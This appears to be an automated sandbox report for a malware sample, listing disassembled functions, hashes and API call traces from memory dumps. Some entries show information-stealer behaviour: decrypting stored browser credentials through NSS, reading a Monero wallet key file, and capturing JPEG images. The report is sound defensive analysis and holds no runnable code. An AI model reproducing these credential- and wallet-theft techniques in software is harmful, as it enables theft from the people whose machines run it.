Associated: 00000000.00000002.2296487249.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296795799.000000000102C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296911540.00000000011C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296933814.00000000011C8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b95c17be30e4644e34d74d4b3cae28c19a962e9c41fda1752f9bcdeba645b897
Instruction ID: 77af92a47943dfd53b017641eedf60d0e6cdc2f63ad07ae3c378f7a094dc42e0
Opcode Fuzzy Hash: b95c17be30e4644e34d74d4b3cae28c19a962e9c41fda1752f9bcdeba645b897
Instruction Fuzzy Hash: 0D5158B3A083145BF3182969EC887B7BBD9D7C4330F1A013EEA8847785E83A5C098695

Function 00DFA3F7 Relevance: .2, Instructions: 162COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2296487249.0000000000D8E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.2296056744.0000000000B30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000B31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CD5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000F15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000FEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000001015000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296795799.000000000102C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296911540.00000000011C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296933814.00000000011C8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8fa5c2eee40f3c8acdd022d4d2fd13820380ffbae2f395048395a873087630f4
Instruction ID: 95d8b01255abd7df0885230dd6d4b70383c6c1dc0a94fce4dd0c58d505336e0c
Opcode Fuzzy Hash: 8fa5c2eee40f3c8acdd022d4d2fd13820380ffbae2f395048395a873087630f4
Instruction Fuzzy Hash: 9D517CB3A041149BE7546E2CDC983BA77D5EF84320F2B063DDAC59BB80E93A1804C682

Function 00DA23D2 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2296487249.0000000000D8E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.2296056744.0000000000B30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000B31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CD5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000F15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000FEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000001015000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296795799.000000000102C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296911540.00000000011C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296933814.00000000011C8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 432defad7d23c8fe354bfcd1fb1a3040ac3fce848fe570d69d4c0aff1fcd1f89
Instruction ID: ede2b6bb998aa807d7fbb91a85cb2f65c3b6df9b83eea2ebb28fd9523501a316
Opcode Fuzzy Hash: 432defad7d23c8fe354bfcd1fb1a3040ac3fce848fe570d69d4c0aff1fcd1f89
Instruction Fuzzy Hash: 254199F3A182185FF348AA3CAC45777F7D9EBD4210F25863DE688D7784E97498018286

Function 00ED0C62 Relevance: .1, Instructions: 142COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2296487249.0000000000D8E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.2296056744.0000000000B30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000B31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CD5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000F15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000FEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000001015000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296795799.000000000102C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296911540.00000000011C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296933814.00000000011C8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3a43eb7294a8f79cafe133f382ca392517c3f910a806ee45738249142c0a1c5e
Instruction ID: 734d2d3f27bd168fddbe66bcbdf278012e3df20ff5e0150d22ecae8643e04de0
Opcode Fuzzy Hash: 3a43eb7294a8f79cafe133f382ca392517c3f910a806ee45738249142c0a1c5e
Instruction Fuzzy Hash: 544106F3A086009FE304AE69ECC577AB3D6EB98320F1A453DD7D8C7780E67859058697

Function 00F854ED Relevance: .1, Instructions: 82COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2296487249.0000000000F15000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.2296056744.0000000000B30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000B31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CD5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000D8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000FEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000001015000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296795799.000000000102C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296911540.00000000011C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296933814.00000000011C8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d46256de3ff1268f690051f4077ab5068ec5bc29f4af2291e3aac3092c0c8b1
Instruction ID: 1852fb619410b83d226222a6bcd67081edb512e129b8702ff3b5c39c385c4134
Opcode Fuzzy Hash: 7d46256de3ff1268f690051f4077ab5068ec5bc29f4af2291e3aac3092c0c8b1
Instruction Fuzzy Hash: 6031E1B180C304EFD345BF69E882A7AFBE4FF58310F1A492DE6D582610E73655909B47

Function 00B49750 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2296073857.0000000000B31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.2296056744.0000000000B30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CD5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000D8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000F15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000FEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000001015000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296795799.000000000102C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296911540.00000000011C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296933814.00000000011C8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction ID: abbdd297b848902a35704da264ecc4a7d2e6ec457c67c65f9fa5c7ab4ebdfac4
Opcode Fuzzy Hash: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction Fuzzy Hash: 1EE04878A56608EFC740CF88D584E49B7F8EB0D720F1181D5ED099B721D235EE00EA90

Function 00B3C990 Relevance: 28.4, APIs: 15, Strings: 1, Instructions: 384filestringCOMMON

Download Yara Rule

APIs

NSS_Init.NSS3(00000000), ref: 00B3C9A5

Part of subcall function 00B4A740: lstrcpy.KERNEL32(00B50E17,00000000), ref: 00B4A788

Part of subcall function 00B4A920: lstrcpy.KERNEL32(00000000,?), ref: 00B4A972
Part of subcall function 00B4A920: lstrcat.KERNEL32(00000000), ref: 00B4A982

Part of subcall function 00B4A8A0: lstrcpy.KERNEL32(?,00B50E17), ref: 00B4A905

Part of subcall function 00B4A9B0: lstrlen.KERNEL32(?,014E8830,?,\Monero\wallet.keys,00B50E17), ref: 00B4A9C5
Part of subcall function 00B4A9B0: lstrcpy.KERNEL32(00000000), ref: 00B4AA04
Part of subcall function 00B4A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00B4AA12

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,014ECFC0,00000000,?,00B5144C,00000000,?,?), ref: 00B3CA6C
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 00B3CA89
GetFileSize.KERNEL32(00000000,00000000), ref: 00B3CA95
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 00B3CAA8
ReadFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 00B3CAD9
StrStrA.SHLWAPI(?,014ECE58,00B50B52), ref: 00B3CAF7
StrStrA.SHLWAPI(00000000,014ECF30), ref: 00B3CB1E
StrStrA.SHLWAPI(?,014ED078,00000000,?,00B51458,00000000,?,00000000,00000000,?,014E8A40,00000000,?,00B51454,00000000,?), ref: 00B3CCA2
StrStrA.SHLWAPI(00000000,014ED1F8), ref: 00B3CCB9

Part of subcall function 00B3C820: lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 00B3C871
Part of subcall function 00B3C820: CryptStringToBinaryA.CRYPT32(?,00000000), ref: 00B3C87C
Part of subcall function 00B3C820: PK11_GetInternalKeySlot.NSS3 ref: 00B3C88A
Part of subcall function 00B3C820: PK11_Authenticate.NSS3(00000000,00000001,00000000), ref: 00B3C8A5
Part of subcall function 00B3C820: PK11SDR_Decrypt.NSS3(?,?,00000000), ref: 00B3C8EB
Part of subcall function 00B3C820: PK11_FreeSlot.NSS3(?), ref: 00B3C961

StrStrA.SHLWAPI(?,014ED1F8,00000000,?,00B5145C,00000000,?,00000000,014E8BA0), ref: 00B3CD5A
StrStrA.SHLWAPI(00000000,014E8900), ref: 00B3CD71

Part of subcall function 00B3C820: lstrcat.KERNEL32(?,00B50B46), ref: 00B3C943
Part of subcall function 00B3C820: lstrcat.KERNEL32(?,00B50B47), ref: 00B3C957
Part of subcall function 00B3C820: lstrcat.KERNEL32(?,00B50B4E), ref: 00B3C978

lstrlen.KERNEL32(00000000), ref: 00B3CE44
CloseHandle.KERNEL32(00000000), ref: 00B3CE9C
NSS_Shutdown.NSS3 ref: 00B3CEAA

Strings

, xrefs: 00B3C9C6

Memory Dump Source

Source File: 00000000.00000002.2296073857.0000000000B31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.2296056744.0000000000B30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CD5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000D8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000F15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000FEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000001015000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296795799.000000000102C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296911540.00000000011C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296933814.00000000011C8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcat$lstrcpy$K11_lstrlen$PointerSlot$AuthenticateBinaryCloseCreateCryptDecryptFreeHandleInitInternalReadShutdownSizeString
String ID:
API String ID: 1052888304-3916222277
Opcode ID: 468a582e9f486336a2124c7bc5ab116eae9f4028edc72518a144ddf65e351ff0
Instruction ID: b89021c5c29e0c49acc47ebfd46a44088285d642e5dc61471a9b2dc3d2016843
Opcode Fuzzy Hash: 468a582e9f486336a2124c7bc5ab116eae9f4028edc72518a144ddf65e351ff0
Instruction Fuzzy Hash: 83E1FD71940108ABEB14EBA4DC96FEEB7B8EF54300F504199F506B6191EF306B4ADB62

Function 00B49010 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 00B4906C

Strings

image/jpeg, xrefs: 00B49136

Memory Dump Source

Source File: 00000000.00000002.2296073857.0000000000B31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.2296056744.0000000000B30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CD5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000D8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000F15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000FEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000001015000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296795799.000000000102C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296911540.00000000011C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296933814.00000000011C8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_file.jbxd

Yara matches

Similarity

API ID: CreateGlobalStream
String ID: image/jpeg
API String ID: 2244384528-3785015651
Opcode ID: 8f426f2b8f4d45d51660f52b7567dbfa607bff7d22f3843255efae602e47ee31
Instruction ID: 28acf5e648ade71f95167a765f93dc5091269970711d8e4f685d451e1052706b
Opcode Fuzzy Hash: 8f426f2b8f4d45d51660f52b7567dbfa607bff7d22f3843255efae602e47ee31
Instruction Fuzzy Hash: B271DE71910208ABDB04DFE8DC89FEEB7B8BF88700F108548F515E7290EB74AA45DB61

Function 00B417A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,block), ref: 00B417C5
ExitProcess.KERNEL32 ref: 00B417D1

Strings

block, xrefs: 00B417B7

Memory Dump Source

Source File: 00000000.00000002.2296073857.0000000000B31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.2296056744.0000000000B30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CD5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CF5000.00000040.00000001.01000000.00000003.sdmpDownload File
